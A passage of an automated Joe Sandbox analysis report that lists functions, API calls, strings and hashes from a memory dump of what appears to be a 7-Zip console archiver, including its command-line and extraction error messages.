free.MSVCRT ref: 00043262

Part of subcall function 00023314: memmove.MSVCRT ref: 00023339

free.MSVCRT ref: 00043270
free.MSVCRT ref: 0004329E
free.MSVCRT ref: 000432A6
free.MSVCRT ref: 000432D9
free.MSVCRT ref: 000432E1
free.MSVCRT ref: 000432F1
free.MSVCRT ref: 000433E5
free.MSVCRT ref: 00043445
free.MSVCRT ref: 00043455
free.MSVCRT ref: 00043464
free.MSVCRT ref: 00043472
free.MSVCRT ref: 00043490
free.MSVCRT ref: 0004349E
free.MSVCRT ref: 000434BC
free.MSVCRT ref: 000434CA

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction ID: c52dcd8dfb91ed03f61d57dd0d793024677ff7c25690e55b020e1b94d92413f2
Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction Fuzzy Hash: B4828D72308A9096CA70EF61E4917EEB3A0F7D5B90F804126EB8D47B1ADF78C955CB04

Function 000447AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00023314: memmove.MSVCRT ref: 00023339

free.MSVCRT ref: 000448E0
free.MSVCRT ref: 000448EE
free.MSVCRT ref: 000449B8
free.MSVCRT ref: 000449F1
free.MSVCRT ref: 000449FF
free.MSVCRT ref: 00044A0D
free.MSVCRT ref: 00044A18
free.MSVCRT ref: 00044A47
free.MSVCRT ref: 00044A4F
free.MSVCRT ref: 00044A5D
free.MSVCRT ref: 00045052

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

free.MSVCRT ref: 00044C20
free.MSVCRT ref: 00044C2E
free.MSVCRT ref: 00044C3C
free.MSVCRT ref: 00044C47
free.MSVCRT ref: 00044C79
free.MSVCRT ref: 00044C81
free.MSVCRT ref: 00044C90
free.MSVCRT ref: 00044CB3
free.MSVCRT ref: 00044CC1
free.MSVCRT ref: 00044CCF
free.MSVCRT ref: 00044CDA
free.MSVCRT ref: 00044D0C
free.MSVCRT ref: 00044D14
free.MSVCRT ref: 00044D23
free.MSVCRT ref: 00044D76
free.MSVCRT ref: 00044D84
free.MSVCRT ref: 00044D92
free.MSVCRT ref: 00044D9D
free.MSVCRT ref: 00044DCC
free.MSVCRT ref: 00044DD4
free.MSVCRT ref: 00044DE3
GetLastError.KERNEL32 ref: 00044E70
free.MSVCRT ref: 00044EB2
free.MSVCRT ref: 00044EC0
free.MSVCRT ref: 00044ECE
free.MSVCRT ref: 00044ED9
free.MSVCRT ref: 00044F08
free.MSVCRT ref: 00044F10
free.MSVCRT ref: 00044F1F
free.MSVCRT ref: 00044FD5
free.MSVCRT ref: 00044FE3
free.MSVCRT ref: 00044FF1
free.MSVCRT ref: 00044FFC
free.MSVCRT ref: 0004502B
free.MSVCRT ref: 00045033
free.MSVCRT ref: 00045042
_CxxThrowException.MSVCRT ref: 0004510C
free.MSVCRT ref: 000451B9
free.MSVCRT ref: 000451C7
free.MSVCRT ref: 000451D5
free.MSVCRT ref: 000451E0
free.MSVCRT ref: 0004520F
free.MSVCRT ref: 00045217
free.MSVCRT ref: 00045226
free.MSVCRT ref: 00045234

Strings

Can not create output directory: , xrefs: 00044E83

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction ID: bd24825283d4ed22e1c5cfdeaf1b5999823c8c7e50410f3e4fa9b3f0f1f3a92c
Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction Fuzzy Hash: B7428F72219AD096CA70EF25E8907EEB361F7D6780F845122DB8D43B1ADF38C965CB44

Function 00045458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0004558E
_CxxThrowException.MSVCRT ref: 000455C2
_CxxThrowException.MSVCRT ref: 000455E6
memset.MSVCRT ref: 0004561F
free.MSVCRT ref: 000456F2
free.MSVCRT ref: 00045F84

Strings

can't decompress folder, xrefs: 000455C8
there is no such archive, xrefs: 000455A4, 00045EF9

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction ID: 5340675167256ec9ef57ea9f0ac5c2ea83cf1d6f4cbe53ad7425288fc9e55969
Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction Fuzzy Hash: 66525D72209AD096CA70DB25E8847EEB760F7C6B91F415122DF9D53B26DF38C865CB04

Function 0004F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction ID: 4ecbdff48bfdeffa1d20a3c863a36bc54015a604d49c052ad42adc6e311758bf
Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction Fuzzy Hash: 29427F77209AC086CB64EF25E090AAF77A5F7CAB88F551022EB4E47B16CF39C459C704

Function 00030DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00030E15
free.MSVCRT ref: 00030E4E
_CxxThrowException.MSVCRT ref: 00030E7A
free.MSVCRT ref: 00030EBD
wcscmp.MSVCRT ref: 00030F33
_CxxThrowException.MSVCRT ref: 00030F9B
_CxxThrowException.MSVCRT ref: 0003112A
_CxxThrowException.MSVCRT ref: 000313AC
_CxxThrowException.MSVCRT ref: 000314D3
_CxxThrowException.MSVCRT ref: 000315E3
_CxxThrowException.MSVCRT ref: 00031730
_CxxThrowException.MSVCRT ref: 00031761
_CxxThrowException.MSVCRT ref: 000317A2
_CxxThrowException.MSVCRT ref: 00031801
_CxxThrowException.MSVCRT ref: 0003186B
_CxxThrowException.MSVCRT ref: 00031171

Part of subcall function 000263D0: free.MSVCRT ref: 00026440
Part of subcall function 000263D0: free.MSVCRT ref: 00026448

_CxxThrowException.MSVCRT ref: 000318F2

Strings

I won't write data and program's messages to same stream, xrefs: 000314B3, 00031782
Cannot use absolute pathnames for this command, xrefs: 0003138C
Unsupported -spf:, xrefs: 00030F7E
-ai switch is not supported for this command, xrefs: 000315C3
Only one archive can be created with rename command, xrefs: 000317E1
The command must be specified, xrefs: 00030DF5
stdout mode and email mode cannot be combined, xrefs: 00031710
I won't write compressed data to a terminal, xrefs: 00031741
Unsupported command:, xrefs: 00030E57
Incorrect Number of benmchmark iterations, xrefs: 00031847
Cannot find archive name, xrefs: 0003110A
Archive name cannot by empty, xrefs: 00031151

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: b523d6dc2e8d8bd3309c2f39b516451b3e79038f111962268bd929f024c52d56
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: D652E3773086C1A6DB6ACF25D1903EEBBA5F359744F888026D79903B12DB79D5B8C700

Function 00031D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00031D12
CloseHandle.KERNEL32 ref: 00031D25
OpenProcessToken.ADVAPI32 ref: 00031D48
LookupPrivilegeValueW.ADVAPI32 ref: 00031D70
AdjustTokenPrivileges.KERNELBASE ref: 00031D93
CloseHandle.KERNEL32 ref: 00031DA7
GetLastError.KERNEL32 ref: 00031DB1
CloseHandle.KERNELBASE ref: 00031DC6

Strings

SeSecurityPrivilege, xrefs: 00031D57

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 1313864721-2333288578
Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction ID: 913b03199442eb3d32d0eada67712cd4a9fcee6ef4ad215704dfe4331c0c0c5a
Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction Fuzzy Hash: 87119032208B41C2DA41CB12F9543BDB3ABFBC9BC0F941412EA8B46A58CF3DC459CB00

Function 0002AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0002AC84
OpenProcessToken.ADVAPI32 ref: 0002AC95
LookupPrivilegeValueW.ADVAPI32 ref: 0002ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,0002F928), ref: 0002ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,0002F928), ref: 0002ACEA
CloseHandle.KERNELBASE ref: 0002ACFA

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 6383a27b51e87c0ebc78ab2304977e90224b8d009d0dcb49b51aeddf0d520a1c
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: 7301527361468287EB208F64F8847AA73A2F785B85F545136EB4A87A54CF3CC599CB00

Function 00027978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0002794C: FindClose.KERNELBASE ref: 0002795E

FindFirstFileW.KERNELBASE ref: 000279BA

Part of subcall function 0002339C: free.MSVCRT ref: 000233D7
Part of subcall function 0002339C: memmove.MSVCRT(00000000,?,?,00000000,000210A8), ref: 000233F2

FindFirstFileW.KERNELBASE ref: 000279FA
free.MSVCRT ref: 00027A08

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: 415d6f091cf10181d283c7a747ca9a39297b1dfc042aef3277eea028d1d5fa67
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 5C212A36208B9086CB21DF24F8503AD63A1F78A7B8F544321EAAD477D9DF39CA59C701

Function 00034418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON

Download Yara Rule

Strings

Incorrect path, xrefs: 00035D6E
\??\, xrefs: 0003485F
Can not create hard link, xrefs: 00035E04, 000361B7
Can not set length for output file, xrefs: 000363C0
Can not delete output file, xrefs: 00035AD5
Internal error for symbolic link file, xrefs: 00035EFB
Can not rename existing file, xrefs: 0003592F
Can not delete output folder, xrefs: 00035A0E
Can not create file with auto name, xrefs: 00035796, 00035867
Can not open output file, xrefs: 000362D7
Dangerous link path was ignored, xrefs: 00035CC1
Can not seek to begin of file, xrefs: 0003642F
Can not create symbolic link, xrefs: 00035FAB

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID:
String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2438533581
Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction ID: 041dee983dc850413505820a2f381b56678819fd2514953f33c2f079322d39de
Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction Fuzzy Hash: 7703C332208AC092CA76EB25E4906EFB765F7C6BC0F544112DB9E87B26DF79D895C700

Function 0006950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 000697B9
free.MSVCRT ref: 000697C1
free.MSVCRT ref: 000697D3
free.MSVCRT ref: 000697E0
free.MSVCRT ref: 000697EE
free.MSVCRT ref: 00069809
free.MSVCRT ref: 0006996E
free.MSVCRT ref: 00069976
free.MSVCRT ref: 00069988
free.MSVCRT ref: 00069995
free.MSVCRT ref: 000699A3
free.MSVCRT ref: 000699C0
free.MSVCRT ref: 000699CD
fputs.MSVCRT ref: 00069A02
fputs.MSVCRT ref: 00069A12
_CxxThrowException.MSVCRT ref: 00069A3A

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

_CxxThrowException.MSVCRT ref: 0006A5E1
free.MSVCRT ref: 0006A5EF
free.MSVCRT ref: 0006A61C
free.MSVCRT ref: 0006A62E
free.MSVCRT ref: 0006A696
free.MSVCRT ref: 0006A69E
free.MSVCRT ref: 0006A6B0

Part of subcall function 00023518: free.MSVCRT ref: 00023551

Strings

Archives: , xrefs: 00069FE1
Archives with Warnings: , xrefs: 0006A0AF
Incorrect command line, xrefs: 00069A0B
Size: , xrefs: 0006A278
ERROR: , xrefs: 000699FB
Files: , xrefs: 0006A1F6
7zCon.sfx, xrefs: 00069543
Folders: , xrefs: 0006A1A8
Open Errors: , xrefs: 0006A138
Sub items Errors: , xrefs: 0006A2FB
Alternate Streams: , xrefs: 0006A228
Compressed: , xrefs: 0006A2A3
Warnings: , xrefs: 0006A0F0
OK archives: , xrefs: 0006A008
Alternate Streams Size: , xrefs: 0006A250
ERROR:, xrefs: 00069F89
Archives with Errors: , xrefs: 0006A07A
Can't open as archive: , xrefs: 0006A03F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: bd9f2b28495a3b62c3d481a4c9c43d8556660cff06a10aff3bafa4e3683c7a09
Instruction ID: 29c3af7bff0453ec2bf1375ba25d0db9fc3386a7284644d9071dd2f52bc59d23
Opcode Fuzzy Hash: bd9f2b28495a3b62c3d481a4c9c43d8556660cff06a10aff3bafa4e3683c7a09
Instruction Fuzzy Hash: B4728972309AD195DA74EB25F4903EEB3A1F786B80F844126DA8E47B1ADF38C655CB01

Function 00069B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00069B6B

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

free.MSVCRT ref: 00069C12

Strings

Archives: , xrefs: 00069FE1
Archives with Warnings: , xrefs: 0006A0AF
Size: , xrefs: 0006A278
Files: , xrefs: 0006A1F6
Folders: , xrefs: 0006A1A8
Open Errors: , xrefs: 0006A138
Alternate Streams: , xrefs: 0006A228
Compressed: , xrefs: 0006A2A3
Warnings: , xrefs: 0006A0F0
OK archives: , xrefs: 0006A008
Alternate Streams Size: , xrefs: 0006A250
ERROR:, xrefs: 00069F89
Archives with Errors: , xrefs: 0006A07A
Can't open as archive: , xrefs: 0006A03F
Scanning the drive for archives:, xrefs: 00069B64

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: fc6ea5868805d76338b3faf932c3aa06514698a3480bc4cc48a2eddf149bc62d
Instruction ID: 3af8b8e428edfc0aca6b12110c5d289f2d9a0d98735ce0ef9ae4380ef4951fb0
Opcode Fuzzy Hash: fc6ea5868805d76338b3faf932c3aa06514698a3480bc4cc48a2eddf149bc62d
Instruction Fuzzy Hash: C7226E72309AD191CA74EB25F4903EEB3A1F786B80F445026DB9E57B1ADF38C665CB01

Function 0004A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 0004A1BF
GetProcAddress.KERNEL32 ref: 0004A1D2
GetProcAddress.KERNEL32 ref: 0004A1F5
GetProcAddress.KERNEL32 ref: 0004A21E

Strings

GetIsArc, xrefs: 0004A1C8
GetHandlerProperty2, xrefs: 0004A1B5
GetHandlerProperty, xrefs: 0004A214
GetNumberOfFormats, xrefs: 0004A1EB

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction ID: be493f88dd496587ccf306efc778c6a99234dc2d2277faa8b86bad36a25e3640
Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction Fuzzy Hash: B6D171B2359AC096CA70EB21F8407EEA3A4F7D6B80F401521EA8E47B1ADF7CC555CB05

Function 000270C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00027D4C: GetFileAttributesW.KERNELBASE ref: 00027D6E
Part of subcall function 00027D4C: GetFileAttributesW.KERNEL32 ref: 00027DA5
Part of subcall function 00027D4C: free.MSVCRT ref: 00027DB2

free.MSVCRT ref: 000273F6

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: fc4a8967a183e8040cb03579b3184010ce744b7b6a66deb305ab73c67c84e23b
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: 6B81932221C561D2CA70EF61F8517AEA361FBD6784F441122FF8E8766ADF39C919DB00

Function 00027EBC Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0002812F
free.MSVCRT ref: 0002816A
free.MSVCRT ref: 0002817F
free.MSVCRT ref: 00028232

Part of subcall function 0002ABB0: GetModuleHandleW.KERNEL32 ref: 0002ABD1
Part of subcall function 0002ABB0: GetProcAddress.KERNEL32 ref: 0002ABE1
Part of subcall function 0002ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 0002AC32

SetLastError.KERNEL32 ref: 0002818F
free.MSVCRT ref: 0002819B
free.MSVCRT ref: 000281A6
free.MSVCRT ref: 000281BB
free.MSVCRT ref: 00028243
free.MSVCRT ref: 0002824E
free.MSVCRT ref: 0002815F

Part of subcall function 0002339C: free.MSVCRT ref: 000233D7
Part of subcall function 0002339C: memmove.MSVCRT(00000000,?,?,00000000,000210A8), ref: 000233F2

Strings

\, xrefs: 00027F44
D$`, xrefs: 0002818F
:$DATA, xrefs: 00028030, 00028040
:, xrefs: 00027F3A

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
String ID: :$:$DATA$D$`$\
API String ID: 4130059181-3146932557
Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction ID: 9e10f6929f75dd38c4fa55edf9e29d82ba39b470fb8e7ebcab53ffe3159602cf
Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction Fuzzy Hash: 8702B3335096A0D6CB20EF25F59069DB7B0F795350F808226E78E43B69DF38C9A5CB44

Function 00063E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

